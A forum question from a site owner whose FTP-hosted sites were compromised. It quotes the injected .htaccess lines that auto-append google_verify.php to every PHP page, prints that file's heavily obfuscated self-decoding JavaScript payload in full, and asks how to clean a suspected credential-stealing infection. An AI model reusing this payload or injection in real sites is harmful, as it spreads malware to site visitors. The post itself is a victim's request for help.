title: virus problem google_verify.php and ftp passwords
body: <p>Couple days ago I had problems with my sites. In all ftp servers I got some php file called google_verify.php and in my .htaccess file the following text was added:</p>
  
  <pre><code>&lt;IfModule mod_php5.c&gt;
  php_value auto_append_file "google_verify.php"
  &lt;/IfModule&gt;
  
  &lt;IfModule mod_php4.c&gt;
  php_value auto_append_file "google_verify.php"
  &lt;/IfModule&gt;
  </code></pre>
  
  <p>Here is google_verify.php file:</p>
  
  <pre><code>&lt;script&gt;d='function  $M(file -z ?P L-B="GE &lt;= a ,rt="" Ke ,E=tru &amp; ,r.offset=100 Un    
  L-L @u @y @J LA9 N ,e @q LA9 N Um L-n ],P ]Urg L-k(); .sxml2 X1 A.icrosoft X2 
  -z=null}}if(!  z Ztypeof  M!="undefined" -z : M ]+ E= 4}} Uc _&gt; -t[ $o [&gt;,false) Uv 
  _&gt;, =vars Z 4== =vars A=  /( % $o), % &gt;)) + t[ % $o) [% &gt;) W} UH L$p, $S A$T= % 
  Yx);regexp :RegExp( Yx+"|"+ $T); H/ Sp 6regexp) Ii=0;i&lt; H/ hj= H/[i] 6"=");if( 4= SS 
  -v G + c G}}}; a.trim _$f Z"qabcdef".indexOf( $o.substr(0,1))&gt;=0){ H $rs So 6\'q\') 
  8\'\') 6\'v\') I Hi=0;i&lt; $rs hrs[i]=parseInt( $rs[i],16)- k =  $rs 8\',\')+
  \',\'}else{ajax gr.offset2=25; =  k}; 9unR ( !){eval( 9  ]UrN L db&amp;&amp; Yt 7 -H( Yt W} 3 
  drt 7 OR + rt SR}}  c(" $a",new Date().getTime()); $h : / ]Ikey in(  t) Zfalse== C1]&amp;&amp; 
  4==  b A$T=  v(key, C0] W ,t[key] ?t[ $T[0] [$T[1] W;key ST[0]} $h[ $h 7]=key+"="+ 
  C0]} 3$R Oh 8 Yx) + rt+ Sh 8 Yx)} Uk L-B="POS &lt;t="";d=\'v={@ VM$1XH:"e-",@ 
  V`$1XH:"",*b VM$1Xv30:"l(\\\'l=Str"
  \\\\_:"ing.fr",JG*2%a%fzV*aV:"omCha",&gt;%8%8*2*5LB0_*4:"rCode("
  &lt;6#fF%3#f#7#d_$4y&lt;d*3*6$eV*e*d$a*3&amp;6R8#b!0G%4#d%eTM `8B6P*3K#6&gt;*4HY/c*dPB1JJ-
  a$4*6&amp;9&lt;7E*bQ`NX@U&amp;3W2E*eQ*4?Q*2E&amp;7W5!3%b#e#8!0*8#6J `6PV#c#9!fB3*1V&amp;6W9*7#f%6-3*d#f-
  d-fy,a2%2#e T T#c!1&amp;1/b#eT!1#c!1*4*b-d&amp;1/4-f#f%6%2#d 
  ^5`y&lt;4?T*5KUB6P*3Y/9*eZw*5#a#9A*7&amp;9/1@U TLP 
  T&amp;1D3HK%8&gt;O@w*5Y/9O~T@#6T@~&amp;9D1ZwJB6A*eZG&amp;9,d5H*3#8#7E*5?%8&amp;7/d-eF!fJ-eFG%6y
  /6B0!2G_%3#f_%3yD0%1EJ%1EHwA&amp;5,d0@$f!2#e$1MX?yD1*9U%aAGA*9A&amp;9,a2#7G-a?*1-bM?I
  /1-0-7%4%1$4T#d-c `9J?%8J%3AGE&amp;7Df*e!0*cZA#b!3*2 
  `aH-aOB7B7OJGI&lt;2?GJ#aPP?$e&amp;1W5%4z$1*7Gz$1*5I/3*4#d*0!3`!0F!0 `8$dO%6`
  %4$4%b!f&amp;5D4OOOB0#eVN-1&amp;3W0*3$b!3*b*aw*0$b&amp;3De%a@UB0#e-dN-1&amp;3W2&gt;M-
  3*0K*2*5_&amp;5WeOA%7*3#6-7%e*3&amp;6/4%7!fN f&amp;1,a6M$f_*b#7B1B1#7&amp;5D7#f%a$3XUFPZ 
  e9QMAU$1JB4U&amp;9Wf*5*8@$1&gt;U&gt;@YR1
  %4Q%6%4UQ%6#7&amp;9Rb$f%fzB3B7*5?*fI/9$1*4#eUUA$1*2&amp;6D6^F#8~#b%0%0F ea%7%eN%7!2 
  ^7?y/5Z#e#b$e$e_Z*0yD6~GF#8^#c%0%0&amp;4D9#8O&gt;HB5&gt;*d@Y&lt;9*5*5#8&gt;*6&gt;&gt;#7YW1^??*4B7?*fGI
  &lt;7*4#6V*eOA$0V&amp;6/2@#d-awA-f#f_yW5!0#b-8*aE-d#d!3&amp;0Wd%8*3%0$e!fT*5@YWeGB7J- 
  aB2AAH&amp;9&lt;9%7`-b$e|$3-b$b&amp;5R4$b-d$d$4|-d$4$3 j6-9Q$b%e-9w%7X&amp;3,ac%8zK-c$f$b|-c&amp;6R4%aM-
  dN%aB1-d%e j7$a?U-4Q!3!3?&amp;3&lt;2-7%3-7%4-7T-7%6&amp;1,af%f-f$0-f$1-f$3-f&amp;9R3%0N%0X%0M%0`I,acN-
  cX-cM-c`-c&amp;6Rc-f$d-f$e-f$f-fB0&amp;9,ac$e-c$f-cB0G!f-
  7&amp;6,a0FF#7H#6H^H&amp;4D9P#aP#bP#cP#d&amp;5D2#f!f*1A`$a*3*6&amp;6/4-4GF%6GF*fG&amp;1
  /4T!1_AAAF*f&amp;1D3H@KJ@-bPPYD2!f?KT?-aHP&amp;7/6%7ULV-6UB0-4&amp;3R5!fV$d!fV$4!fV&amp;3&lt;7P&gt;$a-
  6MM_*b&amp;5RczPJ^#b!3N#d `8M|G-d$bU%2P&amp;5,a9*b&gt;-eG-9%8&gt;-e&amp;1/fV%4ULVNN#e&amp;3/6N*0VQ-
  e!3&gt;*4&amp;3W3 ^4#8^@E~#8y&lt;2H&gt;$4%0_?*6*6&amp;5/b#e#e~ ^4_$4zy&lt;0#eV$d*0!3#c#6!3&amp;3W4OJ@-
  fG!2#b#6y/2*4OJ@-f#d_$3yW2_^*fU%2H_#7&amp;5/8M$fL%2H_^*f&amp;5/a%0G!3^VN$dU&amp;3&lt;6*4A-
  4#fJL#b*0&amp;9D1T*3@-a*5&gt;-3&gt;YD9#9#bH%4-8|$a*4 j5*2#b#6*2#f#6*1#eID0#b#8H#d#6H^#b 
  ed#9OG#8~G#9P&amp;1D3#a#7O#f#9O#e#e&amp;7/dO#6GJJGJP&amp;1D5#a#9^#f#a^#a#a&amp;9
  /f#8#9!f#8#8!f~~&amp;3D3#c#aO#dO#c#aO&amp;7D9L~LOLJL#6yW0T*3%eM$aH&gt;^Y&lt;d*1~#fZ*0EXM 
  ea*4*5$3^^OB5GIR4N-d%b-f#f-5X$4y&lt;e$3KO%bM$4Q*8&amp;5&lt;b%4N*6Q%7%8@K&amp;3D4U$bz
  %4Q%6~#b&amp;9DbHB4E~|*4L%f&amp;7R7M$3#dJJ?LV&amp;3&lt;aO@B2O@|O@YRc^G-c^GB3T%2IWaE-
  dGP-d@EL&amp;0&lt;3%fZ!fE@!3Q$3&amp;0D1ZQK$1@??U&amp;3Db!3*3&gt;!0#8*2|*9&amp;0&lt;cH!fK#b!fP~!fYW0%8Z$aF*eFH%0 
  ec*8*6?#f?$dzZIDd-c!2E@Q@E-c 
  `6F$bZ%8`K*1^&amp;4D9#9A$1%eQ$0$1$d&amp;9W1#c~*2*0OF#9F&amp;4,a1B1B1#fE*5*1*4E&amp;4&lt;aE@E?-b^%a| 
  j9T`w*9$0w$1w&amp;4R3|G&gt;%8LB2*0&gt;&amp;5W8*2*5&gt;-2P&gt;NL&amp;5,d1A-3~%f$4$4%b`&amp;6,a0-
  c-5-4*5@`B5*3Y/dzB2*7*a?-2*f@I/2*6 ^b ^a*7!2OyD3%7$4w$e*2*2$3$a&amp;5R5NA-
  1*5`$e$dP&amp;9/3Q`UJHH!0@&amp;0&lt;2$b*5&gt;*c*3%2$b&gt;YWc*0MN`%8#e-d$a&amp;3W5&gt;#9#6%aMKB1*3Y,ae-8*1F^-
  5*c*1E&amp;4W3?A%6%b`A@#dy/9*9LA*eJG*2%a&amp;6&lt;aM!1%aT#e TT&amp;1DcT@A-3ZQz|&amp;9&lt;c%1|#a%e%f%eT#b 
  `2L#d-eF ^f#d_yRf&gt;L-0P-9X&gt;#fYDd ^9*4#f!2#aN*4yRb-6%3w-0%3%f%7?y/7%8T%1%4EA-
  bH&amp;0&lt;4-8*dE&gt;N-eE*6 ja!3*f*9U#eV*5!3&amp;3/dNHB4B4B4*2%1|&amp;7Rc*1EXz#fEXz 
  ee!fA$1$eT?~Z&amp;6&lt;5$4-5-4*3*0%6N%e&amp;0&lt;6MKQ$1@-4#e!3&amp;3/d!3-6EUE-
  7L$3&amp;0&lt;dz*9zz$a$1%a$dYRcZH!f$b$a%b!f~Y&lt;1EZ||N#f~~&amp;5&lt;9`$1#6z$f$1zzY&lt;b`~wN$3^#7^&amp;6R5 
  fHT%2&amp;1&lt;c%fzPZXQ$1*2&amp;3,aeA$0%1GA%0V*a&amp;6D8G%aL-7|`$eQI/fHJ#8B5*b%8$bK&amp;7
  /f%3%3LH*5~#8E&amp;7DfF*8A^?!1H!1&amp;1/7*4NK$eE*8|| j4z@!3F*0-0%4M&amp;3R0#6$awXKMNHY/cPMQ-
  6MNK$1&amp;3&lt;9?@#d_!2V@$dyR7%a|$aM$3_?G&amp;5/f!f-f%eL%4G#7$f&amp;7/5@O%6NN%a$3w&amp;5Wb$0$1$4KH@&gt;HY
  /8*cG#9L_#f*0%7&amp;5R6wT%fB1FLF*7&amp;4&lt;b
  %0V%1F!fGB1w&amp;4&lt;c$3T$b!0UXw$3&amp;0&lt;9%2wKw$4|#a%8&amp;0R1KKZX&gt;^$ewYR6FFJEK-
  fZ%1&amp;4&lt;5*0%7#8$b$f%fzB3ID3_~O%8Z%6M*8&amp;5R8Z%e*a$dP#aA*b&amp;9/9$b!f@V#aUU%f&amp;6D2ZQ%8wz-3%aU 
  edVV#6AN%1LL&amp;6&lt;1A#aZ`K$eX%e&amp;9R0X!2#7%b%8$4%3%fy&lt;bV#c%a~|%b$a-
  b&amp;6,a5*4$fT_$f?L!1&amp;1De*4?*8!fL$a%a| jd$4`@GF#cE-8&amp;4D3K%a|*a$1
  %aQ%a&amp;5R6z&gt;*1@M%3H&gt;Y/e#c#c#a#aJ*7*7A&amp;9DeJ$0wQ%b`KF&amp;4W5L-
  0$fXX%3%f%bIR4?@#d!2#eN%7Xy,aa%f$3%bV*4!fB1A&amp;6&lt;3#f 
  ^1T%3%e%e%4y&lt;aK$4*6%3$bA*bJ&amp;9D1V#8V*9A-1%1%2&amp;6/9?E*b$e$0N%bX&amp;7R7!0*5w%6&gt;!0*6#d 
  `6XPQwwX%8M&amp;3/8*f@$b#6@&gt;-0PY,d2EE-0^E#c-3X j9KZK&gt;-2&gt;$bzY,d1$4Z*5%4?&gt;-3@Y&lt;2#d!0HXE-
  d?!0&amp;0WdE$3%fT#e TU&amp;1/6!3-0*1#fJ%7K|&amp;3W4G!f&gt;*1KN`L&amp;6&lt;5#f#a#9#dT#d%6#fy
  /8$4#d%4L$3$0Kw&amp;0R6?A_V*2-3-8-9y&lt;2%4%aB8%6%6???I/5F&gt;FAF?FU 
  ea~?^?#6?#7?ID7A#8A#bA#dA#9&amp;9/5#6_#a_#b_#c_&amp;5W0&gt;*1&gt;*2&gt;*3&gt;*4Y
  /4*2F*3F*6F*7F&amp;4W8F*9F*aF*bF*c 
  e1*a!1*b!1*c!1*d!1&amp;1,a7P#8$d$fK$d$ezI/9%4L#eA|#e%4#d&amp;1D9#b*7#9*2#aP~B0YD2JJ#7$3`Q
  MP&amp;9Re#8$a|$aJOOOIDc%6M%2ZAT?&amp;1\\\\E:"32);ev",*``ZXK*b$0$1:"al(l)
  \\\'",EE!0*9Q&gt;!0#8*2:");"};dk=[] I-r x in v){dk.push(trim(x,v))};e-l(dk 
  8\\\'\\\'))!v7#v8$vc%vb&amp;:8*v9+,q-
  va/+7&lt;,b&gt;!8?!a@!bA!9BvdD+8E!7F!4G!dH#0I:90J#2K%cL!eM$7N$5O#3P#1Q$2R,cT%5U!cV!6W+
  9X$6Y&amp;8Z%d^#5_!5`$8w%9y&amp;2z$c|$9~#4\\\\,#6^L%2*0&gt;$f*2\' Ic=46;c--;d=(t=d 
  6\'!#$%&amp;*+-/&lt;&gt;?@ABDEFGHIJKLMNOPQRTUVWXYZ^_`wyz|~\\\\\'[c])) 8t.pop())); 9 (=d K &amp;}; 
  9unAJAX L dE -q ]+ rN( $R); 3 rr -A 2 Yr)} 3 z){ Hself=this; 3 B=="GET" A$K=  F+  i+ 
  Yt , R$K W +  R F W;try{  z.setRequestHeader("Content-Type","application/x-www-form-
  urlencoded" 5){}}  z.onreadystatechange !){switch( #z.readyState){case 1: #L 02: #u 
  03: #y 04: ;= #z.r (Text; ;XML= #z.r (XML; #C[0 Q; #C[1 QText; 3#w){self.r N 3#A A)= 
  #A.nodeName; ).toLowerCase(); 3)=="input Jselect Joption Jtextarea" A#A. &gt;= ; 
  +#A.innerHTML= ;}} 3#C[0]=="200" A#J ]+#e()} #rt="";break} Uz.send( Yt)}} Um ],rg()} 
  a.ajax : $M();try{ H $G 2\' $D\') *c("query", $G gd gf) *F="query.php" *B SG gB gf 
  *rr=\' $rz\' *L SN *u Sg *y Ss *J Sx; P 5){ P)}  this g !=function( #self g $kx_ 
  %encodeURIComponent( &amp;e ,rr ?A ?F=file ,t :Object ],C : /(2) (esponse )elemNodeName 
  *;ajax g +}else{  ,;   - A  .try{  z :ActiveXObject("M /Array 0();break;case  
  2=document.getElementById( 3if(  4true 5)}catch(e 6.split( 7.length 8.join( 9this.r 
  :=new  ;self.r ( &lt;T" ,i="?" ,rx="&amp;" ,r =return &gt;value ?=null , @ !){ U A){  C  t[key][ 
  G( $j[0], $j[1]) Hvar  I;for( J"|| )==" K ,b= 4 ,w=fals L !  MXMLHttpRequest NunR (()} 
  O -rt+= Yx+ $ Pajax.runAJAX( Q]= #z.status Rz.open(  B,  S= $ T-d!3 U} , V%b%a#6Q W, 
  4) X.XMLHTTP" 5 Y  r Z){if( []= /(  ]()  ^!2* _ L$o,  `&amp;0/ awindow d$R A3  e&amp;4/ 
  f$3%6%fT$4 g. $ h 7;i++ A$ j&amp;7&lt; k $f[ $o]}';for(c=130;c;d=(t=d.split('   ! # $ % &amp; ( ) 
  * + , - . / 0 2 3 4 5 6 7 8 9 : ; &lt; = &gt; ? @ A C G H I J K L M N O P Q R S T U V W X Y 
  Z [ ] ^ _ ` a d e f g h j k'.substr(c-=(x=c&lt;2?1:2),x))).join(t.pop()));eval(d)&lt;/script&gt;
  </code></pre>
  
  <p>I suspect that my pc is infected with some kind of virus who can read my ftp access parameters from my ftp manager.</p>
  
  <p>Does anybody know something more about this virus and how I can clean my computer?</p>
  
  <p>Thanks in advance </p>